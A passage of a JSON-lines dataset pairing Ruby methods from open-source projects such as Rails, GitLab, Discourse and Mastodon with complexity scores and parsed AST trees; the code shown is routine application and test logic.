lvar\",\"children\":[\"options\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"certificate_check\"]},{\"type\":\"ivar\",\"children\":[\"@certificate_check_cb\"]}]},null]},{\"type\":\"yield\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@ssh_private_key_file\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@ssh_private_key_file\"]},\"unlink\"]},{\"type\":\"ivasgn\",\"children\":[\"@ssh_private_key_file\",{\"type\":\"nil\",\"children\":[]}]}]},null]}]}]}","id":"5ba9cbc7-cbac-49f5-ab65-96f14ce25518"}
{"repo_name":"dawarich","file_path":"./repos/dawarich/spec/support/polyline_popup_helpers.rb","start_line":115,"raw_source":"def try_polyline_click\n    # Try to find and click on polyline elements directly\n    if page.has_css?('path[stroke]', wait: 2)\n      polyline = first('path[stroke]')\n      polyline.click if polyline\n      sleep 1\n\n      if page.has_css?('.leaflet-popup-content')\n        return find('.leaflet-popup-content').native.inner_html\n      end\n    end\n    nil\n  rescue => e\n    Rails.logger.debug \"Polyline click failed: #{e.message}\"\n    nil\n  end","complexity_score":26.95,"ast_json":"{\"type\":\"def\",\"children\":[\"try_polyline_click\",{\"type\":\"args\",\"children\":[]},{\"type\":\"rescue\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"page\"]},\"has_css?\",{\"type\":\"str\",\"children\":[\"path[stroke]\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"wait\"]},{\"type\":\"int\",\"children\":[2]}]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"polyline\",{\"type\":\"send\",\"children\":[null,\"first\",{\"type\":\"str\",\"children\":[\"path[stroke]\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"polyline\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"polyline\"]},\"click\"]},null]},{\"type\":\"send\",\"children\":[null,\"sleep\",{\"type\":\"int\",\"children\":[1]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"page\"]},\"has_css?\",{\"type\":\"str\",\"children\":[\".leaflet-popup-content\"]}]},{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"find\",{\"type\":\"str\",\"children\":[\".leaflet-popup-content\"]}]},\"native\"]},\"inner_html\"]}]},null]}]},null]},{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"resbody\",\"children\":[null,{\"type\":\"lvasgn\",\"children\":[\"e\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rails\"]},\"logger\"]},\"debug\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Polyline click failed: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"e\"]},\"message\"]}]}]}]},{\"type\":\"nil\",\"children\":[]}]}]},null]}]}","id":"e4da47b6-3d2f-44bf-bff6-89656757b2f9"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/msf/core/module_data_store.rb","start_line":14,"raw_source":"def initialize(m)\n      super()\n\n      @_module = m\n    end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"m\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"super\",\"children\":[]},{\"type\":\"ivasgn\",\"children\":[\"@_module\",{\"type\":\"lvar\",\"children\":[\"m\"]}]}]}]}","id":"7ef5b6ad-a119-42ff-9905-4fd690045813"}
{"repo_name":"manageiq","file_path":"./repos/manageiq/app/models/manageiq/providers/physical_infra_manager.rb","start_line":138,"raw_source":"def count_vms\n      physical_servers.inject(0) { |t, physical_server| physical_server.host.nil? ? t : t + physical_server.host.vms.size }\n    end","complexity_score":13.7,"ast_json":"{\"type\":\"def\",\"children\":[\"count_vms\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"physical_servers\"]},\"inject\",{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"t\"]},{\"type\":\"arg\",\"children\":[\"physical_server\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"physical_server\"]},\"host\"]},\"nil?\"]},{\"type\":\"lvar\",\"children\":[\"t\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"+\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"physical_server\"]},\"host\"]},\"vms\"]},\"size\"]}]}]}]}]}","id":"07b0b57d-891a-45d8-9b1a-3c5c6b1265a6"}
{"repo_name":"chatwoot","file_path":"./repos/chatwoot/enterprise/app/models/article_embedding.rb","start_line":24,"raw_source":"def update_response_embedding\n    return unless saved_change_to_term? || embedding.nil?\n\n    Captain::Llm::UpdateEmbeddingJob.perform_later(self, term)\n  end","complexity_score":7.7,"ast_json":"{\"type\":\"def\",\"children\":[\"update_response_embedding\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[null,\"saved_change_to_term?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"embedding\"]},\"nil?\"]}]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Captain\"]},\"Llm\"]},\"UpdateEmbeddingJob\"]},\"perform_later\",{\"type\":\"self\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"term\"]}]}]}]}","id":"84648511-b3f8-490e-99f5-bdb6afb08843"}
{"repo_name":"rails","file_path":"./repos/rails/activesupport/test/multibyte_chars_test.rb","start_line":499,"raw_source":"def test_acts_like_string\n    assert_predicate \"Bambi\".mb_chars, :acts_like_string?\n  end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"test_acts_like_string\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"assert_predicate\",{\"type\":\"send\",\"children\":[{\"type\":\"str\",\"children\":[\"Bambi\"]},\"mb_chars\"]},{\"type\":\"sym\",\"children\":[\"acts_like_string?\"]}]}]}","id":"d346401e-f298-4960-97df-9fe968608682"}
{"repo_name":"discourse","file_path":"./repos/discourse/app/models/site_setting.rb","start_line":161,"raw_source":"def self.top_menu_items\n    top_menu_map.map { |menu_item| TopMenuItem.new(menu_item) }\n  end","complexity_score":4.3,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"top_menu_items\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"top_menu_map\"]},\"map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"menu_item\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"TopMenuItem\"]},\"new\",{\"type\":\"lvar\",\"children\":[\"menu_item\"]}]}]}]}","id":"7b35052a-600f-49bd-afe0-14cfb193000a"}
{"repo_name":"rails","file_path":"./repos/rails/activestorage/lib/active_storage/previewer/video_previewer.rb","start_line":32,"raw_source":"def draw_relevant_frame_from(file, &block)\n        draw self.class.ffmpeg_path, \"-i\", file.path, *Shellwords.split(ActiveStorage.video_preview_arguments), \"-\", &block\n      end","complexity_score":8.6,"ast_json":"{\"type\":\"def\",\"children\":[\"draw_relevant_frame_from\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"file\"]},{\"type\":\"blockarg\",\"children\":[\"block\"]}]},{\"type\":\"send\",\"children\":[null,\"draw\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"class\"]},\"ffmpeg_path\"]},{\"type\":\"str\",\"children\":[\"-i\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"file\"]},\"path\"]},{\"type\":\"splat\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Shellwords\"]},\"split\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveStorage\"]},\"video_preview_arguments\"]}]}]},{\"type\":\"str\",\"children\":[\"-\"]},{\"type\":\"block_pass\",\"children\":[{\"type\":\"lvar\",\"children\":[\"block\"]}]}]}]}","id":"41c6ac94-787e-4c15-9291-c5fd8c4a9fa2"}
{"repo_name":"mastodon","file_path":"./repos/mastodon/app/models/trends/tags.rb","start_line":50,"raw_source":"def refresh(at_time = Time.now.utc)\n    # First, recalculate scores for tags that were trending previously. We split the queries\n    # to avoid having to load all of the IDs into Ruby just to send them back into Postgres\n    Tag.where(id: TagTrend.select(:tag_id)).find_in_batches(batch_size: BATCH_SIZE) do |tags|\n      calculate_scores(tags, at_time)\n    end\n\n    # Then, calculate scores for tags that were used today. There are potentially some\n    # duplicate items here that we might process one more time, but that should be fine\n    Tag.where(id: recently_used_ids(at_time)).find_in_batches(batch_size: BATCH_SIZE) do |tags|\n      calculate_scores(tags, at_time)\n    end\n\n    # Now that all trends have up-to-date scores, and all the ones below the threshold have\n    # been removed, we can recalculate their positions\n    TagTrend.recalculate_ordered_rank\n  end","complexity_score":15.6,"ast_json":"{\"type\":\"def\",\"children\":[\"refresh\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"at_time\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Time\"]},\"now\"]},\"utc\"]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Tag\"]},\"where\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"TagTrend\"]},\"select\",{\"type\":\"sym\",\"children\":[\"tag_id\"]}]}]}]}]},\"find_in_batches\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"batch_size\"]},{\"type\":\"const\",\"children\":[null,\"BATCH_SIZE\"]}]}]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"tags\"]}]},{\"type\":\"send\",\"children\":[null,\"calculate_scores\",{\"type\":\"lvar\",\"children\":[\"tags\"]},{\"type\":\"lvar\",\"children\":[\"at_time\"]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Tag\"]},\"where\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"id\"]},{\"type\":\"send\",\"children\":[null,\"recently_used_ids\",{\"type\":\"lvar\",\"children\":[\"at_time\"]}]}]}]}]},\"find_in_batches\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"batch_size\"]},{\"type\":\"const\",\"children\":[null,\"BATCH_SIZE\"]}]}]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"tags\"]}]},{\"type\":\"send\",\"children\":[null,\"calculate_scores\",{\"type\":\"lvar\",\"children\":[\"tags\"]},{\"type\":\"lvar\",\"children\":[\"at_time\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"TagTrend\"]},\"recalculate_ordered_rank\"]}]}]}","id":"e2e519cc-96d6-4d21-b3ef-99d5ca544097"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/audit/auditor.rb","start_line":205,"raw_source":"def log_to_file(events)\n        file_logger = ::Gitlab::AuditJsonLogger.build\n\n        events.each { |event| file_logger.info(log_payload(event)) }\n      end","complexity_score":6.4,"ast_json":"{\"type\":\"def\",\"children\":[\"log_to_file\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"events\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"file_logger\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Gitlab\"]},\"AuditJsonLogger\"]},\"build\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"events\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"event\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"file_logger\"]},\"info\",{\"type\":\"send\",\"children\":[null,\"log_payload\",{\"type\":\"lvar\",\"children\":[\"event\"]}]}]}]}]}]}","id":"221a0336-ee81-45ca-95c0-28caaa9d885e"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/protected_branches/base_service.rb","start_line":9,"raw_source":"def initialize(project_or_group, current_user = nil, params = {})\n      @project_or_group = project_or_group\n      @current_user = current_user\n      @params = params\n    end","complexity_score":5.0,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"project_or_group\"]},{\"type\":\"optarg\",\"children\":[\"current_user\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"optarg\",\"children\":[\"params\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@project_or_group\",{\"type\":\"lvar\",\"children\":[\"project_or_group\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@current_user\",{\"type\":\"lvar\",\"children\":[\"current_user\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@params\",{\"type\":\"lvar\",\"children\":[\"params\"]}]}]}]}","id":"1039c2cf-9043-42f5-8e66-c4f0301d18b9"}
{"repo_name":"openproject","file_path":"./repos/openproject/modules/storages/app/components/storages/project_storages/destroy_confirmation_dialog_component.rb","start_line":57,"raw_source":"def text\n      text = I18n.t(\"project_storages.remove_project.dialog.text\")\n      if @project_storage.project_folder_mode == \"automatic\"\n        text << \" \"\n        text << I18n.t(\"project_storages.remove_project.dialog.automatically_managed_appendix\")\n      end\n      text\n    end","complexity_score":9.0,"ast_json":"{\"type\":\"def\",\"children\":[\"text\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"text\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"I18n\"]},\"t\",{\"type\":\"str\",\"children\":[\"project_storages.remove_project.dialog.text\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@project_storage\"]},\"project_folder_mode\"]},\"==\",{\"type\":\"str\",\"children\":[\"automatic\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"text\"]},\"<<\",{\"type\":\"str\",\"children\":[\" \"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"text\"]},\"<<\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"I18n\"]},\"t\",{\"type\":\"str\",\"children\":[\"project_storages.remove_project.dialog.automatically_managed_appendix\"]}]}]}]},null]},{\"type\":\"lvar\",\"children\":[\"text\"]}]}]}","id":"c7bee712-ccb2-4754-845f-5cb3a529f52d"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/graphql/loaders/issuable_loader.rb","start_line":44,"raw_source":"def batch_load(iid, with_query)\n          return if parent.nil?\n\n          BatchLoader::GraphQL\n            .for([issuable_finder.parent_param, iid.to_s])\n            .batch(key: batch_key) do |params, loader, args|\n              batch_key = args[:key]\n              user = batch_key.current_user\n\n              params.group_by(&:first).each do |key, group|\n                iids = group.map(&:second).uniq\n                args = { key => batch_key.parent, iids: iids }\n                query = batch_key.finder_class.new(user, args).execute\n\n                post_process(query, with_query).each do |item|\n                  loader.call([key, item.iid.to_s], item)\n                end\n              end\n            end\n        end","complexity_score":46.9,"ast_json":"{\"type\":\"def\",\"children\":[\"batch_load\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"iid\"]},{\"type\":\"arg\",\"children\":[\"with_query\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"parent\"]},\"nil?\"]},{\"type\":\"return\",\"children\":[]},null]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"BatchLoader\"]},\"GraphQL\"]},\"for\",{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"issuable_finder\"]},\"parent_param\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"iid\"]},\"to_s\"]}]}]},\"batch\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"key\"]},{\"type\":\"send\",\"children\":[null,\"batch_key\"]}]}]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"params\"]},{\"type\":\"arg\",\"children\":[\"loader\"]},{\"type\":\"arg\",\"children\":[\"args\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"batch_key\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"args\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"key\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"user\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"batch_key\"]},\"current_user\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"params\"]},\"group_by\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"sym\",\"children\":[\"first\"]}]}]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"key\"]},{\"type\":\"arg\",\"children\":[\"group\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"iids\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"group\"]},\"map\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"sym\",\"children\":[\"second\"]}]}]},\"uniq\"]}]},{\"type\":\"lvasgn\",\"children\":[\"args\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"lvar\",\"children\":[\"key\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"batch_key\"]},\"parent\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"iids\"]},{\"type\":\"lvar\",\"children\":[\"iids\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"query\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"batch_key\"]},\"finder_class\"]},\"new\",{\"type\":\"lvar\",\"children\":[\"user\"]},{\"type\":\"lvar\",\"children\":[\"args\"]}]},\"execute\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"post_process\",{\"type\":\"lvar\",\"children\":[\"query\"]},{\"type\":\"lvar\",\"children\":[\"with_query\"]}]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"item\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"loader\"]},\"call\",{\"type\":\"array\",\"children\":[{\"type\":\"lvar\",\"children\":[\"key\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"item\"]},\"iid\"]},\"to_s\"]}]},{\"type\":\"lvar\",\"children\":[\"item\"]}]}]}]}]}]}]}]}]}","id":"f9c8861f-2b08-4bfb-bbc0-8ba87444a71f"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/database/background_migration/batched_migration.rb","start_line":254,"raw_source":"def prometheus_labels\n          @prometheus_labels ||= {\n            migration_id: id,\n            migration_identifier: \"%s/%s.%s\" % [job_class_name, table_name, column_name]\n          }\n        end","complexity_score":6.6,"ast_json":"{\"type\":\"def\",\"children\":[\"prometheus_labels\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@prometheus_labels\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"migration_id\"]},{\"type\":\"send\",\"children\":[null,\"id\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"migration_identifier\"]},{\"type\":\"send\",\"children\":[{\"type\":\"str\",\"children\":[\"%s/%s.%s\"]},\"%\",{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[null,\"job_class_name\"]},{\"type\":\"send\",\"children\":[null,\"table_name\"]},{\"type\":\"send\",\"children\":[null,\"column_name\"]}]}]}]}]}]}]}","id":"93fd634d-7373-4606-958a-23d564f742ea"}
{"repo_name":"rails","file_path":"./repos/rails/actionview/test/template/template_path_test.rb","start_line":15,"raw_source":"def test_virtual\n    assert_equal \"foo/bar\", ActionView::TemplatePath.virtual(\"bar\", \"foo\", false)\n    assert_equal \"foo/_bar\", ActionView::TemplatePath.virtual(\"bar\", \"foo\", true)\n    assert_equal \"bar\", ActionView::TemplatePath.virtual(\"bar\", \"\", false)\n    assert_equal \"_bar\", ActionView::TemplatePath.virtual(\"bar\", \"\", true)\n    assert_equal \"foo/bar/baz\", ActionView::TemplatePath.virtual(\"baz\", \"foo/bar\", false)\n  end","complexity_score":11.0,"ast_json":"{\"type\":\"def\",\"children\":[\"test_virtual\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"foo/bar\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActionView\"]},\"TemplatePath\"]},\"virtual\",{\"type\":\"str\",\"children\":[\"bar\"]},{\"type\":\"str\",\"children\":[\"foo\"]},{\"type\":\"false\",\"children\":[]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"foo/_bar\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActionView\"]},\"TemplatePath\"]},\"virtual\",{\"type\":\"str\",\"children\":[\"bar\"]},{\"type\":\"str\",\"children\":[\"foo\"]},{\"type\":\"true\",\"children\":[]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"bar\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActionView\"]},\"TemplatePath\"]},\"virtual\",{\"type\":\"str\",\"children\":[\"bar\"]},{\"type\":\"str\",\"children\":[\"\"]},{\"type\":\"false\",\"children\":[]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"_bar\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActionView\"]},\"TemplatePath\"]},\"virtual\",{\"type\":\"str\",\"children\":[\"bar\"]},{\"type\":\"str\",\"children\":[\"\"]},{\"type\":\"true\",\"children\":[]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"foo/bar/baz\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActionView\"]},\"TemplatePath\"]},\"virtual\",{\"type\":\"str\",\"children\":[\"baz\"]},{\"type\":\"str\",\"children\":[\"foo/bar\"]},{\"type\":\"false\",\"children\":[]}]}]}]}]}","id":"1f8776a1-0c59-42c0-add5-6c37b88519f3"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/backup/targets/database.rb","start_line":196,"raw_source":"def report_success(success)\n        success ? logger.info('[DONE]') : logger.error('[FAILED]')\n      end","complexity_score":5.8,"ast_json":"{\"type\":\"def\",\"children\":[\"report_success\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"success\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"success\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"logger\"]},\"info\",{\"type\":\"str\",\"children\":[\"[DONE]\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"logger\"]},\"error\",{\"type\":\"str\",\"children\":[\"[FAILED]\"]}]}]}]}","id":"0a93574f-6caa-4436-aeb8-096b38c2e280"}
{"repo_name":"discourse","file_path":"./repos/discourse/lib/localization_attributes_replacer.rb","start_line":26,"raw_source":"def self.replace_post_attributes(post, crawl_locale)\n    if loc = get_localization(post, crawl_locale)\n      post.cooked = loc.cooked if loc.cooked.present?\n    end\n  end","complexity_score":8.9,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"replace_post_attributes\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"post\"]},{\"type\":\"arg\",\"children\":[\"crawl_locale\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"loc\",{\"type\":\"send\",\"children\":[null,\"get_localization\",{\"type\":\"lvar\",\"children\":[\"post\"]},{\"type\":\"lvar\",\"children\":[\"crawl_locale\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"loc\"]},\"cooked\"]},\"present?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"post\"]},\"cooked=\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"loc\"]},\"cooked\"]}]},null]},null]}]}","id":"f88d34e4-7bcf-4659-ac1e-ac0d4d121338"}
{"repo_name":"openproject","file_path":"./repos/openproject/modules/ldap_groups/app/services/ldap_groups/synchronize_groups_service.rb","start_line":69,"raw_source":"def try_to_create(attrs)\n      call = Users::CreateService\n        .new(user: User.system)\n        .call(attrs)\n\n      if call.success?\n        Rails.logger.info(\"[LDAP groups] User '#{call.result.login}' created\")\n      else\n        Rails.logger.error(\"[LDAP groups] User '#{call.result&.login}' could not be created: #{call.message}\")\n      end\n    end","complexity_score":18.4,"ast_json":"{\"type\":\"def\",\"children\":[\"try_to_create\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"attrs\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"call\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Users\"]},\"CreateService\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"user\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"User\"]},\"system\"]}]}]}]},\"call\",{\"type\":\"lvar\",\"children\":[\"attrs\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"call\"]},\"success?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rails\"]},\"logger\"]},\"info\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"[LDAP groups] User '\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"call\"]},\"result\"]},\"login\"]}]},{\"type\":\"str\",\"children\":[\"' created\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rails\"]},\"logger\"]},\"error\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"[LDAP groups] User 